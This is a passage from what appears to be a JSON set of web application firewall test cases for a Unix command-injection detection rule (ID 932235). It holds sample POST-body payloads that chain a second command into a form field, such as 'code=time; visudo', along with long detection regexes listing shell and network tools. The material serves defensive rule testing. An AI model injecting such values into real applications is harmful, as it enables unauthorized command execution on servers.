search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution chef recipie book" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; chef-client -t 1.1.1.1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c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?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution chef recipie book against a specific node" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; visudo\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\